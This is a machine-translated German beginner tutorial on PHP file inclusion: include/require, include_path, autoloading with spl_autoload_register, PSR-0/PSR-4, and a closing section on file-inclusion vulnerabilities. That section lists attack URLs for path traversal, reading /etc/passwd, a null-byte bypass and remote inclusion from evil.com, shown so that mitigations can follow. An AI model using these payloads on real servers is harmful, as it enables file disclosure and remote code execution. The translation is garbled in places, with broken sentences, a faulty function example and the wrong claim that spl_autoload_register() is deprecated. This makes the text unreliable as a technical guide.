PHP für Anfänger. Dateiverbindung

Bild


In der Fortsetzung der PHP for Beginners-Reihe wird sich der heutige Artikel darauf konzentrieren, wie PHP Dateien sucht und verbindet.

Warum und warum


PHP ist eine Skriptsprache, die ursprünglich für die schnelle Gestaltung von Homepages entwickelt wurde (ja, ja, ursprünglich war es ursprünglich Personal Home Age Tools). Später wurden auf dem Knie Geschäfte, soziale Programme und andere Handwerke erstellt, die über das beabsichtigte Maß hinausgingen , aber warum bin ich - und die Tatsache, dass je mehr Funktionalität codiert ist, desto größer ist der Wunsch, sie korrekt zu strukturieren, Code-Duplikationen zu beseitigen, sie in logische Teile zu zerlegen und nur bei Bedarf eine Verbindung herzustellen (dies ist das gleiche Gefühl, das Sie hatten, als du hast es schon mal gelesen Position könnte es in einzelne Teile zerbrochen werden). Zu diesem Zweck verfügt PHP über mehrere Funktionen, deren allgemeine Bedeutung darin besteht, die angegebene Datei zu verbinden und zu interpretieren. Schauen wir uns ein Beispiel für das Verbinden von Dateien an:

// file variable.php $a = 0; // file increment.php $a++; // file index.php include ('variable.php'); include ('increment.php'); include ('increment.php'); echo $a; 

Wenn Sie das Skript index.php ausführen, stellt PHP eine Verbindung her und führt dies alles nacheinander aus:

 $a = 0; $a++; $a++; echo $a; //  2 

Wenn eine Datei verbunden ist, befindet sich ihr Code im selben Bereich wie die Zeile, in der sie verbunden war, sodass alle in dieser Zeile verfügbaren Variablen in der enthaltenen Datei verfügbar sind. Wenn Klassen oder Funktionen in der Include-Datei deklariert wurden, fallen sie in den globalen Bereich (es sei denn, für sie wurde natürlich ein Namespace angegeben).

Wenn Sie die Datei innerhalb der Funktion verbinden, erhalten die enthaltenen Dateien Zugriff auf den Funktionsumfang, sodass auch der folgende Code funktioniert:

 function() { $a = 0; include ('increment.php'); include ('increment.php'); echo $a; } a(); //  2 

Separat __DIR__ ich die magischen Konstanten fest : __DIR__ , __FILE__ , __LINE__ und andere - sie sind an den Kontext gebunden und werden ausgeführt, bevor die Aufnahme erfolgt
Die Besonderheit beim Verbinden von Dateien besteht darin, dass beim Verbinden einer Datei beim Parsen in den HTML-Modus gewechselt wird. Aus diesem Grund muss jeder Code in der enthaltenen Datei in PHP-Tags eingeschlossen sein:

 <?php //   // ... // ?> 

Wenn Sie nur PHP-Code in der Datei haben, ist es üblich, das schließende Tag wegzulassen, um nicht versehentlich einen Zeichenfaden nach dem schließenden Tag zu vergessen, der mit Problemen behaftet ist (ich werde dies im nächsten Artikel diskutieren).
Haben Sie eine Site-Datei mit 10.000 Zeilen gesehen? Schon Tränen in meinen Augen (╥_╥) ...

Dateiverbindungsfunktionen


Wie oben erwähnt, gibt es in PHP verschiedene Funktionen zum Verbinden von Dateien:

  • include - schließt die angegebene Datei ein und führt sie aus, wenn sie nicht gefunden wird - gibt eine Warnung E_WARNING
  • include_once - ähnelt der obigen Funktion, enthält jedoch die Datei einmal
  • require - schließt die angegebene Datei ein und führt sie aus, wenn sie nicht gefunden wird - gibt es einen schwerwiegenden Fehler E_ERROR
  • require_once - ähnlich der obigen Funktion, enthält jedoch die Datei einmal

In Wirklichkeit handelt es sich hierbei nicht genau um Funktionen, sondern um spezielle Sprachkonstrukte, und Klammern können weggelassen werden. Unter anderem gibt es andere Möglichkeiten, Dateien zu verbinden und auszuführen, aber graben Sie es selbst, lassen Sie es für Sie eine „Aufgabe mit einem Sternchen“ sein;)
Nehmen wir ein Beispiel für die Unterschiede zwischen require und require_once . Nehmen wir eine echo.php- Datei:

 <p>text of file echo.php</p> 

Und wir werden es mehrmals verbinden:

 <?php //     //  1 require_once 'echo.php'; //    , ..   //  true require_once 'echo.php'; //     //  1 require 'echo.php'; 

Das Ergebnis der Ausführung sind zwei Verbindungen zur Datei echo.php :

 <p>text of file echo.php</p> <p>text of file echo.php</p> 

Es gibt einige weitere Anweisungen, die sich auf die Verbindung auswirken, aber Sie benötigen sie nicht - auto_prepend_file und auto_append_file . Mit diesen Anweisungen können Sie Dateien installieren, die verbunden werden, bevor alle Dateien verbunden sind bzw. nachdem alle Skripts ausgeführt wurden. Ich kann mir nicht einmal ein "Live" -Szenario ausdenken, wenn es erforderlich sein könnte.

Aufgabe
Sie können ein Skript für die Verwendung der auto_prepend_file und auto_append_file auto_prepend_file und auto_append_file . Sie können diese nur in php.ini , .htaccess oder httpd.conf ändern (siehe PHP_INI_PERDIR ) :)

Wo sucht?


PHP sucht nach Include-Dateien in Verzeichnissen, die in der Anweisung include_path angegeben sind. Diese Anweisung wirkt sich auch auf den Betrieb von fopen() , file() , readfile() und file_get_contents() . Der Algorithmus ist recht einfach: Bei der Suche nach Dateien überprüft PHP abwechselnd jedes Verzeichnis von include_path , bis eine zu verbindende Datei gefunden wird. Wenn dies nicht der Fall ist, wird ein Fehler zurückgegeben. Verwenden Sie die Funktion set_include_path (), um include_path aus einem Skript zu ändern.

Beim Einrichten von include_path ist eine wichtige Sache zu beachten: Unter Windows und Linux werden verschiedene Zeichen als include_path verwendet - ";" und ":". Wenn Sie also Ihr Verzeichnis PATH_SEPARATOR , verwenden Sie die Konstante PATH_SEPARATOR , zum Beispiel:

 //    linux $path = '/home/dev/library'; //    windows $path = 'c:\Users\Dev\Library'; //  linux  windows   include_path  set_include_path(get_include_path() . PATH_SEPARATOR . $path); 

Wenn Sie include_path in eine include_path Datei schreiben, können Sie Umgebungsvariablen wie ${USER} :

include_path = ".:${USER}/my-php-library"


Wenn Sie beim Verbinden der Datei einen absoluten Pfad (beginnend mit "/") oder einen relativen Pfad (beginnend mit "." Oder "..") include_path wird die Anweisung include_path ignoriert und die Suche wird nur für den angegebenen Pfad ausgeführt.
Vielleicht lohnt es sich, über safe_mode zu sprechen, aber dies ist seit langem eine Geschichte (seit Version 5.4), und ich hoffe, Sie werden nicht darauf stoßen, aber wenn plötzlich, dann wissen Sie, was es war, aber es ist vorbei ...

Return verwenden


Ich erzähle Ihnen von einem kleinen Life-Hack. Wenn die enthaltene Datei mithilfe des return Konstrukts etwas zurückgibt, können diese Daten abgerufen und verwendet werden, sodass Sie die Verbindung von Konfigurationsdateien einfach organisieren können. Ich werde ein Beispiel zur Veranschaulichung geben:

 return [ 'host' => 'localhost', 'user' => 'root', 'pass' => '' ]; 

 $dbConfig = require 'config/db.php'; var_dump($dbConfig); /* array( 'host' => 'localhost', 'user' => 'root', 'pass' => '' ) */ 

Interessante Fakten, ohne die es auch gut war: Wenn Funktionen in der enthaltenen Datei definiert sind, können sie in der Hauptdatei verwendet werden, unabhängig davon, ob sie vor oder nach der Rückgabe deklariert wurden
Aufgabe
Schreiben Sie Code, der die Konfiguration aus mehreren Ordnern und Dateien sammelt. Die Dateistruktur ist wie folgt:

 config |-- default | |-- db.php | |-- debug.php | |-- language.php | `-- template.php |-- development | `-- db.php `-- production |-- db.php `-- language.php 

In diesem Fall sollte der Code wie folgt funktionieren:

  • Wenn es in der Systemumgebung eine PROJECT_PHP_SERVER Variable gibt, die der development , sollten alle Dateien aus dem Standardordner verbunden sein, die Daten sollten in der Variablen $config , die Dateien aus dem Entwicklungsordner sollten verbunden sein und die empfangenen Daten sollten die entsprechenden in $config gespeicherten Elemente schleifen
  • ähnliches Verhalten, wenn PROJECT_PHP_SERVER production (natürlich nur für den Produktionsordner )
  • Wenn keine Variable vorhanden oder falsch eingestellt ist, werden nur Dateien aus dem Standardordner verbunden


Automatische Verbindung


Konstrukte mit Dateianhängen sehen sehr sperrig aus und folgen auch ihrem Update - ein weiteres Geschenk: Lesen Sie einen Code aus dem Beispielartikel über Ausnahmen :

 // load all files w/out autoloader require_once 'Education/Command/AbstractCommand.php'; require_once 'Education/CommandManager.php'; require_once 'Education/Exception/EducationException.php'; require_once 'Education/Exception/CommandManagerException.php'; require_once 'Education/Exception/IllegalCommandException.php'; require_once 'Education/RequestHelper.php'; require_once 'Education/Front.php'; 

Der erste Versuch, ein solches „Glück“ zu vermeiden, war das Auftreten der __autoload- Funktion. Genauer gesagt, es war nicht einmal eine bestimmte Funktion, Sie mussten diese Funktion selbst definieren und damit die Dateien verbinden, die wir über den Klassennamen benötigten. Die einzige Regel war, dass für jede Klasse eine separate Datei mit dem Namen der Klasse erstellt werden sollte (d. H. MyClass sollte sich in der Datei myClass.php befinden ). Hier ist ein Beispiel für die Implementierung einer solchen Funktion __autoload() (entnommen aus Kommentaren im offiziellen Handbuch):

Die Klasse, die wir verbinden werden:

 //  myClass    myClass.php class myClass { public function __construct() { echo "myClass init'ed successfuly!!!"; } } 

Die Datei, die diese Klasse verbindet:

 //   //     include_path function __autoload($classname) { $filename = $classname .".php"; include_once $filename; } //   $obj = new myClass(); 

Nun zu den Problemen mit dieser Funktion - stellen Sie sich eine Situation vor, in der Sie Code von Drittanbietern verbinden und dort bereits jemand die Funktion __autoload() für Ihren Code registriert hat, und voila:

 Fatal error: Cannot redeclare __autoload() 

Um dies zu vermeiden, haben wir eine Funktion erstellt, mit der Sie eine beliebige Funktion oder Methode als Klassenladeprogramm registrieren können - spl_autoload_register . Das heißt, Wir können mehrere Funktionen mit einem beliebigen Namen zum Laden von Klassen erstellen und sie mit spl_autoload_register registrieren. Jetzt sieht index.php aus:

 //   //     include_path function myAutoload($classname) { $filename = $classname .".php"; include_once($filename); } //   spl_autoload_register('myAutoload'); //   $obj = new myClass(); 

Die Überschrift „ spl_autoload_register() Sie schon?“: Der erste Parameter spl_autoload_register() ist optional. spl_autoload_register() die Funktion ohne diesen Parameter spl_autoload_register() , wird die Funktion spl_autoload als Loader verwendet. Die Suche wird für Ordner aus include_path und Dateien mit der Erweiterung .php und .inc Die Liste kann mit der Funktion spl_autoload_extensions erweitert werden
Jetzt kann jeder Entwickler seinen Loader registrieren. Hauptsache, die Klassennamen stimmen nicht überein. Dies sollte jedoch kein Problem sein, wenn Sie Namespaces verwenden.
Da eine erweiterte Funktionalität wie spl_autoload_register() schon lange existiert, ist die Funktion spl_autoload_register() in PHP 7.1 bereits als veraltet deklariert, was bedeutet, dass diese Funktion in absehbarer Zukunft vollständig entfernt wird (X_x).
Nun, das Bild hat sich mehr oder weniger geklärt, obwohl alle registrierten Bootloader in der Warteschlange stehen, sobald sie registriert sind. Wenn ihn jemand in seinen Bootloader hineingelockt hat, wird anstelle des erwarteten Ergebnisses ein sehr unangenehmer Fehler auftreten. Um dies zu verhindern, haben erwachsene Smart-Jungs einen Standard beschrieben, mit dem Sie problemlos Bibliotheken von Drittanbietern verbinden können. Hauptsache, die Organisation der Klassen in ihnen entspricht dem PSR-0- Standard (der bereits 10 Jahre alt ist) oder PSR-4 . Was ist das Wesentliche der in den Normen beschriebenen Anforderungen:

  1. Jede Bibliothek muss in einem eigenen Namespace (dem sogenannten Vendor Namespace) leben.
  2. Jeder Namespace muss einen eigenen Ordner haben.
  3. Innerhalb des Namespace können sich Unterräume befinden - auch in separaten Ordnern
  4. Eine Klasse - eine Datei
  5. Der Dateiname mit der Erweiterung .php muss genau mit dem .php übereinstimmen

Beispiel aus dem Handbuch:
Vollständiger KlassennameNamespaceBasisverzeichnisVoller Weg
\ Acme \ Log \ Writer \ File_WriterAcme \ Log \ Writer./acme-log-writer/lib/./acme-log-writer/lib/File_Writer.php
\ Aura \ Web \ Response \ StatusAura \ Web/ path / to / aura-web / src //path/to/aura-web/src/Response/Status.php
\ Symfony \ Core \ RequestSymfony \ core./Vendor/Symfony/Core/./vendor/Symfony/Core/Request.php
\ Zend \ AclZend/ usr / enthält / Zend //usr/includes/Zend/Acl.php


Die Unterschiede zwischen diesen beiden Standards bestehen darin, dass PSR-0 alten Code ohne Namespace unterstützt (d. H. Vor Version 5.3.0) und PSR-4 frei von diesem Anachronismus ist und sogar unnötiges Verschachteln von Ordnern vermeidet.

Dank dieser Standards wurde es möglich, ein solches Tool wie Composer zu entwickeln - einen universellen Paketmanager für PHP. Wenn jemand etwas verpasst hat, gibt es einen guten Bericht von pronskiy über dieses Tool.


PHP-Injektion


Ich wollte auch über den ersten Fehler aller sprechen, die einen einzigen Einstiegspunkt für die Site in einer index.php und diese als MVC-Framework bezeichnen:

 <?php $page = $_GET['page'] ?? die('Wrong filename'); if (!is_file($page)) { die('Wrong filename'); } include $page; 

Sie sehen sich den Code an und möchten dort nur etwas Bösartiges übertragen:

 //     http://domain.com/index.php?page=../index.php //      http://domain.com/index.php?page=config.ini //    http://domain.com/index.php?page=/etc/passwd //  ,       http://domain.com/index.php?page=user/backdoor.php 

Das erste, was mir in den Sinn kommt, ist das gewaltsame Hinzufügen der .php Erweiterung. In einigen Fällen kann sie jedoch "dank" einer Null-Byte-Sicherheitsanfälligkeit umgangen werden (lesen Sie, diese Sicherheitsanfälligkeit wurde schon lange behoben , aber plötzlich stoßen Sie auf einen Interpreter, der älter als PHP 5.3 ist allgemeine Entwicklung empfehlen auch):

 //    http://domain.com/index.php?page=/etc/passwd%00 

In modernen PHP-Versionen führt das Vorhandensein eines Null-Byte-Zeichens im Pfad der verbundenen Datei sofort zu dem entsprechenden Verbindungsfehler. Selbst wenn die angegebene Datei vorhanden ist und verbunden werden kann, ist das Ergebnis immer ein Fehler. Es wird wie folgt überprüft: strlen(Z_STRVAL_P(inc_filename)) != Z_STRLEN_P(inc_filename) (dies ist aus dem Darm von PHP selbst)
Der zweite „lohnende“ Gedanke ist die Suche nach einer Datei im aktuellen Verzeichnis:

 <?php $page = $_GET['page'] ?? die('Wrong filename'); if (strpos(realpath($page), __DIR__) !== 0) { die('Wrong path to file'); } include $page . '.php'; 

Die dritte, aber nicht die letzte Änderung der Prüfung ist die Verwendung der open_basedir- Direktive. Mit ihrer Hilfe können Sie das Verzeichnis angeben, in dem genau PHP nach zu verbindenden Dateien sucht:

 <?php $page = $_GET['page'] ?? die('Wrong filename'); ini_set('open_basedir', __DIR__); include $page . '.php'; 

Seien Sie vorsichtig, diese Anweisung wirkt sich nicht nur auf die Verbindung von Dateien aus, sondern funktioniert auch mit dem Dateisystem, d. H. Mit dieser Einschränkung müssen Sie sicherstellen, dass Sie nichts außerhalb des angegebenen Verzeichnisses vergessen haben, weder die zwischengespeicherten Daten noch Benutzerdateien (obwohl die Funktionen is_uploaded_file() und move_uploaded_file() weiterhin mit einem temporären Ordner für heruntergeladene Dateien funktionieren).
Welche anderen Prüfungen sind möglich? Viele Optionen hängen von der Architektur Ihrer Anwendung ab.

Ich wollte auch an die Existenz einer „wunderbaren“ Anweisung allow_url_include erinnern (dies hängt von allow_url_fopen ab ), mit der Sie Remote-PHP-Dateien verbinden und ausführen können, was für Ihren Server viel gefährlicher ist:

 //   PHP  http://domain.com/index.php?page=http://evil.com/index.php 

Säge, erinnere dich und benutze es nie. Der Vorteil ist standardmäßig deaktiviert. Sie benötigen diese Funktion etwas weniger als je zuvor. In allen anderen Fällen legen Sie die richtige Anwendungsarchitektur fest, bei der verschiedene Teile der Anwendung über die API kommunizieren.

Aufgabe
Schreiben Sie ein Skript, mit dem Sie PHP-Skripte aus dem aktuellen Ordner nach Namen verbinden können, während Sie sich an mögliche Schwachstellen erinnern und Fehler vermeiden.

Abschließend


Dieser Artikel ist die Basis in PHP. Studieren Sie also sorgfältig, erledigen Sie Aufgaben und archivieren Sie nicht, niemand wird für Sie unterrichten.

PS


Dies ist ein Repost aus einer Reihe von Artikeln "PHP für Anfänger":


Wenn Sie Kommentare zum Material des Artikels oder möglicherweise in Form haben, beschreiben Sie das Wesentliche in den Kommentaren, und wir werden dieses Material noch besser machen.

Source: https://habr.com/ru/post/de439618/


All Articles